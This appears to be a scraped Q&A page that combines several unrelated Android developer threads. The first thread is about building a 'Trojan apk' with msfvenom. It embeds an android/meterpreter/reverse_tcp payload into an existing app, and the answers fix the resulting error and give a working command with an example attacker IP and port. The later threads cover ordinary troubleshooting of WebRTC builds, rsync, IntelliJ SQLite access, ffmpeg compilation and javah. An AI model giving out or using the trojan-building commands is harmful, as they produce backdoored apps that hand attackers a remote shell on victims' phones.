metasploit: Malformed version number string when selecting dalvik as architecture - android

I’m trying to create a Trojan apk for android using metasploit, this is the command I’m using:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
And I'm getting this error:
Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39
USER TTY FROM LOGIN# IDLE JCPU PCPU WHAT
user123 tty7 :0 09:32 1:23m 1:10 0.13s /sbin/upstart --user
2.0.2-dirty
Then I tried selecting different architecture e.g. java:
msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
and it worked (something-Out.apk was generated). So it seems like the Malformed version number string error only happens when dalvik is selected as the architecture, any idea why this is happening and how to fix it?
I'm doing this on Ubuntu on VirtualBox, which is run from a Mac. Any help will be appreciated, thanks!

Credits to:
https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/
Had the same problem, but I was trying to run a simpler version of the code (which works obviously). After searching in forums, turned out to be a problem with apktool. I downloaded apktool using sudo apt-get install apktool, but that version doesn't work as it should.
Once removed with sudo apt-get remove apktool I downloaded the latest version from the website and it worked.
I know it's been a year, but I've been searching for days. Hope it helps... someone.

I had the same problem with msfvenom. Try running "msfupdate" it will download a 70 mib package and it will fix your problem.

You just need follow this syntax:
EX:
rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk
So also if you using -o will not need 'R'

Related

webrtc_android native api not find the AppRTCMobile example

I'm on ubuntu 16.04 and try to install on my lollipop 5.1 tablet, native api webrtc example (AppRtcMobile example).
I successfully installed chromium on my lollipop device. Now after removing the folders used to install chromium on the lollipop device from the ubuntu pc I'm trying to compile an example project about webrtc using the grandle system or adb at the command line. But the compilation always stops at the same point.
Unfortunately, I'm new to git, ninja, fetch and gn, so I do not understand where the error is.
I follow the procedure that I describe below (as I understand that the commands work) and create 3 different installation directories so as to install even on devices other than "arm".
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PATH:/my-path/to/depot_tools
mkdir ~/webrTEST && cd ~/webrtcTEST
fetch --nohooks webrtc_android
gclient sync
./build/install-build-deps.sh
gn gen out/DebugArm --args='target_os="android" target_cpu="arm"'
gn gen out/DebugArm64 --args='target_os="android" target_cpu="arm64"'
gn gen out/DebugX64 --args='target_os="android" target_cpu="x64"'
ninja -C out/DebugArm
ninja -C out/DebugArm64
ninja -C out/DebugX64
. build/android/envsetup.sh
ninja -C out/DebugX64 AppRTCMobile
I try to study more than one "tutorial" and the offial guide too, but ninja retur everytime the same result:
myuser#mymachine:~~/webrtcTEST/src$ ninja -C out/DebugX64 AppRTCMobile
ninja: Entering directory `out/DebugX64'
ninja: no work to do.
Anyone can suggest my where is/sre my error?
regards
bkt
UPDATE:
using ls command not find AppRTCMobile but other app example or other ...
the command:
ninja -C out/DebugX64 :xxxx/xxxx/xxxx
work great ... so at these point the question change into:
where is the old AppRTCMobile example located or which is the new name of the example that allows me to android lollipop to use the server google appr.tc ??
Any how if in my manner of install the webrtc-android git there are some error please help my to find it.
regards
bkt
I did not understand the reason, but by deleting everything and re executing the procedure written in the application I got the desired result and I compiled AppRTCMobile.

Android 64bit terminal / rsync

I am trying to get my rooted LG G4 to rsync with my server. On the good old LG G2 it is running smoothly but the 64bit architecture throws errors at me.
I tried to come up with a solution from other sources (here and other sites) But it just goes on to the next file it cannot load correctly
The code I use is as follows:
export LD_PRELOAD=/system/lib64/libsigchain.so; export PATH=$PATH:/data/data/burrows.apps.busybox/app_busybox; export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/data/data/burrows.apps.busybox/app_busybox:/vendor/lib*:/system/lib*; /data/data/burrows.apps.busybox/app_busybox/rsync -v -E --delete -s -r -t -l --partial --size-only --rsh="/data/data/burrows.apps.busybox/app_busybox/ssh -y -i /keypath/ssh.key -p10022" user#homeip:/some/folder/ /local/folder
First it was the libsigchain.so 32/64bit error
Now it is this: CANNOT LINK EXECUTABLE DEPENDENCIES: "/system/lib/libsigchain.so" is 32-bit instead of 64-bit CANNOT LINK EXECUTABLE DEPENDENCIES: "libc.so" is 64-bit instead of 32-bit
Be it tasker, secure settings or terminal emulator ...
I would appreciate any suggestions.

IntelliJ SQLite permission denied on Android Lollipop, worked before

I updated Nexus 7 with Android Lollipop and now i can't access SQLite db from IntelliJ IDEA 14. Everything was working fine before Lollipop update, even though Android wasn't rooted i could access db from IntelliJ (but not pull it via ADB).
The error i am getting when i try to connect is:
Data Source Synchronization Error
Cannot synchronize 'SQLite': run-as: exec failed for /data/local/tmp/intellij_native_tools/get_modification_time Error:Permission denied
I am aware that SQLite was updated in lollipop from 3.7 to 3.8. What could cause this kind of error? Wrong DB creation, old DB drivers, something else?
adb root doesn't resolve anything, there's numerous issues depending on environment. Here's how I got it working on emulator where I spend a lot of my development time.
First we need to resolve the error only position independent executables (PIE) are supported with the binary.
get the source of android ultimate plugin tool:
git clone https://android.googlesource.com/platform/tools/adt/idea
cd idea/android/ultimate/get_modification_time/jni
Apply the following patch:
diff --git a/android/ultimate/get_modification_time/jni/Application.mk b/android/ultimate/get_modification_time/jni/Application.mk
index a252a72..bdf815d 100644
--- a/android/ultimate/get_modification_time/jni/Application.mk
+++ b/android/ultimate/get_modification_time/jni/Application.mk
## -1 +1,2 ##
APP_ABI := all
+APP_PLATFORM := android-16
You'll need to setup a recent version of NDK to build, I had ndk-r10d installed already.
# ndk-r10d
ndk-build
cd ..
cp -R libs native_tools
# update the intellij plugin with whatever arch you plan to use
# adjust the path here to where your copy of IntelliJ is located
zip -u ~/local/apps/idea/plugins/android/lib/android-ultimate.jar native_tools/*/get_modification_time
Note that you need to update the path in that last line to point to your local IntelliJ installation. For example, on MacOS, it'll be:
zip -u /Applications/IntelliJ\ IDEA\ 14.app/Contents/plugins/android/lib/android-ultimate.jar native_tools/*/get_modification_time
Restart IntelliJ.
Next, we'll be replacing /system/bin/run-as on the emulator. Create the following script locally and name it run-as.
#! /system/bin/sh
INTELLIJ_NATIVE="/data/local/tmp/intellij_native_tools/get_modification_time"
if [ "$2" = "$INTELLIJ_NATIVE" ]; then
cd /data/local/tmp/intellij_native_tools
./get_modification_time "$3"
else
/system/bin/run-as.org "$#"
fi
Start the emulator. After it has booted, update it.
# update run-as after start
adb shell mount -o remount,rw /system
adb shell mv /system/bin/run-as /system/bin/run-as.org
adb push ./run-as /system/bin/run-as
Now you can synchronize to your heart's content.
Note, you may also want to follow progress on the bug upstream which just had priority bumped after posting this: https://youtrack.jetbrains.com/issue/IDEA-137606
If you have a rooted device try command
adb root
After it IDEA synhronization is successfull.

Having problems compiling ffmpeg for Android

I'm trying to compile ffmpeg for Android using this guy script (https://github.com/guardianproject/android-ffmpeg) because it looked like the simplest and the whole NDK is really not my area of expertise.
So let's see what I've done so far:
Downloaded and installed a fresh Ubuntu 12.04 LTS from: http://www.ubuntu.com/download/desktop in a VirtualBox. (had some little problems with video but a few updates later in the terminal ubuntu is up and running)
installed the Android SDk and downloded/unzipped the NDK into /Documents/ndk
I used those commands to install the compiler:
$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt-get install build-essential
$ gcc -v
$ make -v
then sudo install git (or something like that to install git)
then git clone https://github.com/guardianproject/android-ffmpeg.git
then copied from the guys page building section
cd android-ffmpeg
git submodule init
git submodule update
NDK_BASE=/path/to/android-ndk ./configure_make_everything.sh
it mostly goes well until it says:
arm-linux-androideabi-gcc is unable to create an executable file C
compiler test failed
If you think configure made a mistake,.. blaah blahh blaah
I'm not sure what it means or where to go from here.
from this I did some chmod 777 on the folders to make sure stuff can be execute.
also from this I tried his script but without any luck.
help?
decompose what the script 'config_make_everything' is doing.. and run one step at a time...
https://github.com/guardianproject/android-ffmpeg/blob/master/configure_make_everything.sh
each step will create a file like 'config.log' where you can go to the tail and find more details about what went wrong finding the compiler.
When u start using the NDK, IMO, invest a bit of learn curve time going thru its ./doc directory and making sure that you have it integrated correctly. With NDK install, there are some samples. Build a few from CLI just to make sure that the ENV is correct and that the install is good, and that u have at least some idea of the build as a repeatable process. That will prove that you can do good 'cross compiles' with the build tools. Then you can return to guardian.ffmpeg stuff.
IMO - there is alot going on with an NDK build of this project and getting it all to build without understanding any of the underlying configuration / build stack would require lots of luck.

Javah missing after JDK install (Linux)

I'm trying to setup Android development with Eclipse (Indigo), on Fedora17.
Almost everything seems to work, just the javah is missing, to build the C headers with, for native (NDK / JNI) modules.
On my windows install of the tool chain it was in the same folder javac was in, but this is not the case on the Linux machine.
I previously installed Oracle's JDK1.7, found out that it's to new for something else I wanted to do (but also there, no javah), uninstalled it, now JDK1.6 is installed.
What might be wrong?
In linux machines, JavaH is normally located in /usr/bin/javah.
If you try to find this file with locate, it is normally a good idea to run before updatedb, since the database is not updated unless this command is run either by the user or a cron job. You could try finding the file with find / |grep javah
P.S. Sorry to post this as an asnwer. I suppose the corret way to go would have been a comment, but still don't have enough reputation to post a comment
This tool has been removed from the JDK
https://openjdk.java.net/jeps/313
Try gjavah rather than javah?
It turns out that javah link is not created during JDK install. You have to create it manually:
Check where is installed java:
$ ls -l `which java`
lrwxrwxrwx root root 26 15 juil. 02:05 /usr/bin/java -> /usr/java/default/bin/java
Create the symlink in the same directory:
$ su
# cd /usr/bin
# ln -s /usr/java/default/bin/javah

Categories

Resources